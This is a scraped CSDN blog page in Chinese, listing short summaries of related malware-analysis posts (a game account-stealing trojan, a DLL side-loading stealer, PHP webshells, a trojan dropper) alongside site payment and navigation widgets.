最近在实验室遇到一款木马,无花无壳,很简单,可以试试,很有意思。 实验环境:windows xp 实验工具:process,IDA,OLLDBUG MD5:

xiaoyuai1234的博客 507

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

一款魔兽盗号木马分析

这款魔兽盗号木马是模仿“多玩魔兽盒子”欺骗用户从而进行盗号的,请看“多玩魔兽盒子”官方网站:http://wow.duowan.com/wowbox1/, 木马模仿的钓鱼网站:http://www.tudouw.com/ 。可以看出做得很相似,稍不留意的话就会被钓鱼。大家该问了,这样的网站怎么会访问到的啊, 如果魔兽玩家通过百度搜索“多玩魔兽盒子”,第一页便会有这个钓鱼网站。可以看出万恶的百度...

weixin_34220834的博客 296

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

一款白加黑银狐窃密木马变种分析

最近从网上获取到了一些利用白加黑技术规避检测的银狐窃密木马,伪装成格式转换软件DivX Converter进行传播,木马使用正常的DivX Converter可执行文件启动,但加载了一个恶意的dll文件和一个dat文件,达成伪装执行的目的。

2401_84466224的博客 1975

发现并分析一款PHP木马后门程序

该PHP木马无需密码验证,具备文件管理、命令执行、数据库操作、端口扫描、提权等多种恶意功能,可被用于服务器远程控制和数据窃取,存在极高安全风险。

weixin_42515392的博客 876

发现并分析一款功能强大的PHP木马程序

本文深入剖析了一款无需密码验证的PHP木马,揭示了其文件管理、命令执行、数据库操作及提权等恶意功能,强调了系统安全防护的重要性。

weixin_29781865的博客 1056

跟踪分析一款新型Megahorse窃密木马

跟踪分析一款新型Megahorse窃密木马

pandazhengzheng的博客 1317

arm ida 伪代码 安卓 符号表_一款木马释放器的简单分析及IDA的骚操作

本文为看雪论精华文章看雪论坛作者ID:SSH山水画前言这是一款比较简单的木马,通过分析此样本可以训练分析思路、分析逻辑,并且加强IDA的使用。如有不对的地方,欢迎指出,择优吸收。样本信息File: virus.exeSHA1: 71b7322291b5a89d227b5cfe82106fce51036da2SHA256:b48ebc54b9717bbe3a9de3fd5744c8ad1f...

weixin_42697475的博客 1192

[分享]一款老木马的分析

[原创]一款老木马的分析 前几天遇到一个人,他说中毒了,本来想要样本,结果他说没有,只有感染的文件,就发了一个给我,我就用这个被感染的文件来分析一下,样本感染程序之后都做了哪些工作~~~附件中的spy是一个被感染的程序,当我们运行spy的时候,其实已经在背后做了很多事,下面我们就来看看它在背后做了些什么工作吧~~~原创链接:https://bbs.pediy.com/thread-128470.h

crashMaker的博客 - 匠心,一种坚持的倔强 487

对一款病毒(木马)程序的分析

<!--google_ad_client = "pub-1592932103935230";/* 336x280,csdnblogs, 创建于 08-5-10 */google_ad_slot = "8315096772";google_ad_width = 336;google_ad_height = 280;//--> <script type="text/java

红颜无暇电脑网,最新的专业 IT 资讯-http://it.hywxfashion.cn 584

一款远控木马分析,仅供学习思路用途

最近一段时间在面试病毒相关岗位,有的公司会电话、远程面试询问相关知识,有的则会直接发送病毒样本要求分析,写出分析报告。下面要分析的就是面试过程中的某个样本,整理成文,发表出来,供大家参考学习,一起进步!如有不当之处,也希望大佬批评指正,晚辈一定虚心受教。 由于考虑到时间问题,不能让面试官等太久,所以我只将病毒关键功能模块进行分析说明,没有之前文章那么详细,也请大家见谅,不懂之处欢迎提出,我也尽量...

moran0322的博客 6万+

arm ida 伪代码 安卓 符号表_一款木马释放器的简单分析及IDA的操作

前言这是一款比较简单的木马,通过分析此样本可以训练分析思路、分析逻辑,并且加强IDA的使用。如有不对的地方,欢迎指出,择优吸收。样本信息File: virus.exeSHA1: 71b7322291b5a89d227b5cfe82106fce51036da2SHA256:b48ebc54b9717bbe3a9de3fd5744c8ad1fdd3a26c7b47f6170b98f8abde...

weixin_39523887的博客 552
上一篇: 扭曲变换加密
下一篇: 利用 Debug API 编写一个简单的脱壳机
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值